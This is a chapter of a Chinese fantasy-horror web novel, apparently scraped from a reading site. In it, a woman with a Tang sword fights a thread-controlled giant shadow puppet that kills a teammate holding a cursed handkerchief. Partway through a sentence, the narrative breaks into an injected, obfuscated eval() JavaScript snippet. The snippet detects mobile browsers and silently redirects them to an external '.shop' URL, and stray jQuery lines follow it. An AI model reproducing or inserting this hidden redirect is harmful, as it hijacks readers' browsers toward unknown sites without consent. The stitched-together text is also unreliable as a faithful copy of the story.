阿雯狼狈地躲过那些突然生长出来的丝线,她的身体在密集的丝线间穿梭,动作带着几分慌乱。好几次那些丝线都已经刺中了她,尖锐的丝线顶端刺破了她的衣角,但在触碰到她皮肤的瞬间,她身上那枚防御灵器便亮起一层淡淡的微光,像是一层无形的护盾,将丝线的攻击尽数挡住。
每一次被击中,那层微光便闪烁一下,但防御灵器只能使用三次,三次过后便再无任何作用。防御灵器失效后保护阿雯的就是她手里那枚沈祈送她的戒指,那枚戒指也算防御灵器,但比领域里获得的那种防御灵器厉害得多。
所以阿雯并没有受什么伤,只是衣服上多了几道被划破的口子,露出里面白皙的皮肤。她躲过丝线后,小心翼翼地往沈祈身边移动,渐渐地,她的额头上沁出一层薄汗。
令人惊讶的是邓馨居然也躲过了那些丝线。已知她是他们小队里最弱的那个人,可她竟然还是能躲过那些丝线的攻击,足以证明他们小队并没有阿雯想象中那么弱。邓馨的动作虽然不如沈祈那般游刃有余,却也带着一种熟练的闪避,像是经历过无数次这样的场面。
至少阿雯觉得刚刚她躲那些丝线的时候很吃力,那些丝线像是长了眼睛一样,从各个刁钻的角度刺来,她几乎用尽了全力才勉强躲过。而且若是没有防御灵器的保护,她少不了要受伤,或者直接被丝线沙掉。
邓馨此时正匍匐在地上,她的身体紧贴着地面,像一条蛇一样蜿蜒爬行。她一点一点地往沈祈身边爬,动作缓慢而谨慎,每爬一步都要停顿一下,观察周围的丝线。她很聪明,越靠近地面的地方丝线确实越少,至少丝线没有那么复杂,像是特意留出了一片安全的空间。
沈祈并没有看邓馨,她的眼睛直直地看着教室门口,目光专注而锐利。那里好像有什么东西要出现了,她感受到空气中出现了一种很奇怪的波动,似鬼似怪似人。那种波动越来越明显,带着一种压迫感,让心脏不由自主地收紧。
慢慢地,教室里面出现了一种“咔哒”的声音,一声接一声,像是人类关节活动时发出的脆响,又像是什么机械用久了之后会发出的那种滞涩的声音。那声音由远及近,越来越清晰,每一声都像在每个人耳边响起。
沈祈一眨不眨地看着教室门口,目光像是被钉在了那里。终于,一道人影慢慢出现在走廊里,离教室越来越近。那身影在走廊的灯光下拉出一道长长的影子,投射在地面上,随着步伐微微晃动。
离得很远时,沈祈只能看到那人身上花花绿绿的,穿衣打扮十分夸张,颜色艳丽得有些刺眼,像是把整个调色盘都穿在了身上。随着那人越走越近,沈祈才发现,那根本不是一个人,只是一个有人的样子的东西。它的动作带着一种不自然的僵硬,像是被什么力量操控着。
“那是什么东西?看着像人,但是不是人。”沈祈的声音里带着一丝疑惑。
阿雯看向沈祈目光所指的方向,赫然发现了那个沈祈嘴里的东西。她的瞳孔微微收缩了一下,声音带着一丝惊讶:“那是皮影。”
“皮影是什么?”沈祈清澈的双眼看向阿雯,眼里全是求知欲,像是一个好奇的孩子在等待答案。
阿雯不知道该怎么解释,皮影戏这个东西说起来也很复杂,况且阿雯其实也没真的见过皮影,只是以前在现实世界的电视里看到过。
她组织了一下语言,缓缓说道:“皮影戏就相当于古代时候的电视,反正是供人娱乐的东西。不过皮影一般都比较小,毕竟厉害的皮影师一个人就能控制很多个皮影,但这个皮影太大了,不像正常的皮影。”她的声音里带着一丝不确定,显然这个皮影的尺寸远远超出了她的认知。
眼前这个皮影几乎将整个教室门全部占据,比一般成人还高。它的身形修长而扁平,像是一张被放大了无数倍的剪纸,却又带着一种诡异的立体感。
皮影的头上簪着花,花朵的颜色鲜艳欲滴,像是刚从枝头摘下来的一般。它身上的服饰也是以前的那种服饰,宽袍大袖,衣袂飘飘,上面的花纹做得很繁复,有缠枝莲纹,有云纹,有鸟兽图案,每一处细节都精致得不像话。从头饰和服装来看,这个皮影是个女的,她的面容模糊不清,像是被一层雾气笼罩着,看不真切。
阿雯握紧了手里的灵器,指节微微泛白,她舔了一下干涸的嘴唇,声音带着一丝紧张:“祁姐,这个就是来抓有手绢的学生的‘鬼’吗?”
沈祈抽出唐刀,刀身在灯光下泛着冷冽的光芒,她的语气平静而笃定:“大概就是它。”
皮影进入教室后的动作显然快很多,那些丝线一点也没有阻碍她的行动,反倒是像她行动的媒介。她的身体在丝线间穿梭自如,那些丝线仿佛是她身体的一部分延伸,牵引着她的每一个动作,让她如鱼得水。
阿雯忽然想起皮影一般都是皮影师来控制,皮影本身是不会动的,显然这个皮影就是由眼前这些丝线控制的。她的眼睛一亮,像是抓住了什么关键:“祁姐,这些丝线可能是皮影行动的关键。”
沈祈挥动手中的唐刀,唐刀在沈祈手中就像是沈祈身体的一部分,灵活而精准。她三两下便将她们面前的丝线处理掉了,刀光闪烁间,丝线纷纷断裂,像是被割断的琴弦,发出轻微的崩断声。
而她们这一角的丝线被沈祈切断后,这个被丝线全部覆盖的教室便出现了漏洞。至少从沈祈面前延伸出去的丝线全部都失去了支撑力,松松垮垮地挂在其他丝线上,像是失去了生命的藤蔓,无力地垂落。
皮影却没管沈祈和阿雯,它的目标从来都是手里拥有手绢的人,于是它将目光放在邓馨身上。它的头微微转动,那张模糊的面容朝向邓馨的方向,带着一种无声的注视。
皮影的动作很快,它不怕丝线划破它的身体,那些丝线在它
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879441|209125||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身上划过,却像是划过水面一样,没有留下任何痕迹。它借着那些丝线,很快便走到了邓馨身后,无声无息,像是一道影子。
邓馨还在爬,她离沈祈已经不远了,可剩下的那一点点距离却是她这一辈子再也无法到达的鸿沟。她似乎感觉到了身后的危险,爬行的速度加快了一些。
只见皮影的手轻轻触碰了一下邓馨的身体,那动作轻柔得像是抚摸,却带着杀意。下一秒,无数的丝线从邓馨的身体里面散出来,像是她的身体里藏着一团乱麻,此刻全部被释放那般。那些丝线从她的皮肤下钻出,穿透她的血肉,邓馨的身体瞬间便成了一个筛子,密密麻麻的针眼遍布全身。
临死之前,邓馨还在往前爬,她的手指抠着地面,指甲断裂,留下几道血痕。她身下流了一地的血,将地板染得绯红,缓缓向四周蔓延。她的眼睛一直盯着沈祈的鞋子,最后一点力气仿佛要将手里的手绢放到沈祈的脚上。
可惜,在她还没碰到沈祈的脚之前就落了气,身体软软地趴在地上,再也没了动静。
邓馨死之后,她手里的手绢也慢慢消失。不对,手绢没有消失,而是出现在沈祈的校服口袋里,手绢刚好露出一截,被站在沈祈身后的阿雯看到了。阿雯再三确认了一遍,确实是一条手绢,她的声音带着一丝急切:“祁姐,手绢在你的包里。”
沈祈伸手摸了一下自己的包,她的包里果然有一条手绢,触感柔软而冰凉。她将手绢摊开,还能看到手绢上的血液,血液未干,带着一丝湿润的触感,很像邓馨手里的那条。
阿雯不知想到了什么,脸色变得很难看,嘴唇微微发白:“祁姐,或许拥有手绢的人死亡后,手绢会自动刷新在离手绢最近的人手里,所以你手里的手绢很有可能是邓馨的那条。”这就和阿雯以前打的游戏很像,小怪总是在死亡之后一段时间又会自动刷新,带着一种循环往复的宿命感。
突然,阿雯的目光瞥向一旁的垃圾桶,那垃圾桶安静地立在角落里,里面还藏着两个瑟瑟发抖的女生。“祁姐,垃圾桶里还有两个人,我们把手绢转移出去吧,然后我们离开五年级四班。”她的声音里带着一丝急切和不安。
沈祈将手绢往地上一扔,手往包里一揣,“来不及了。”
话落,沈祈挥刀将她面前的丝线一片一片砍断,切断皮影的路。
皮影的任务就是除掉所有拥有手绢的人,之前是邓馨,现在是沈祈。它的目标转移到了沈祈身上,那张模糊的面容朝向沈祈的方向,带着一种无声的锁定。
其他人都怕皮影,但是沈祈可不怕,她提刀清理丝线,并且离皮影越来越近,很明显是奔着皮影去的。
皮影在重新锁定到手绢的拥有者后便动了,它快速向沈祈靠近,动作虽然不流畅,但速度极快。它的身体在丝线间穿梭,越来越快。
很快,一人一皮影就碰到了一起。